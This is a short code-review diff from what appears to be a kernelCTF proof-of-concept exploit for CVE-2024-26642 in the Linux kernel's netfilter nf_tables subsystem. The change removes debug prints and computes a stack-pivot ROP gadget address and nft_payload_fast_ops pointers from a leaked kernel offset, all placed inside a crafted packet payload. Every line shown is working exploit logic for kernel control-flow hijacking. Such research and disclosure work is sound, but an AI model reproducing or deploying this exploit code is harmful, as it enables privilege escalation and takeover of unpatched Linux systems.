Solve comments

Author: conlonial

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit

@@ -185,17 +185,15 @@ void setup_registers(struct payload* payload, int64_t kernel_off) {
   // essentially we copy a stack pivot gadget into them
   // the payload will be copied directly from the packet we send to trigger the payload
 
-  *(u64*)((u8*)rop_chain_rsi + 0xF) = pop_rsp_add_rsp_0x20_pop_rbx;//kernel_off + POP_RSP_ADD_RSP_0X20_POP_RBX_RET;
-  printf("%llx\n", pop_rsp_add_rsp_0x20_pop_rbx);
-  printf("%llx\n", *(u64*)((u8*)rop_chain_rsi + 0xF));
+  *(u64*)((u8*)rop_chain_rsi + 0xF) = kernel_off + POP_RSP_ADD_RSP_0X20_POP_RBX_RET;
   const u32* regs = rop_chain_rsi;
   int j = 0;
   for (int i = 0; i < 6; i++) {
     if (regs[i] == 0) {
       continue;
     }
 
-    payload->fast_exprs[j].fast_ops = nft_payload_fast_ops;//kernel_off + NFT_PAYLOAD_FAST_OPS;
+    payload->fast_exprs[j].fast_ops = kernel_off + NFT_PAYLOAD_FAST_OPS;
     payload->fast_exprs[j].base = NFT_PAYLOAD_NETWORK_HEADER;
     // offset of our skb payload data
     payload->fast_exprs[j].offset = 0x1c + i * 4;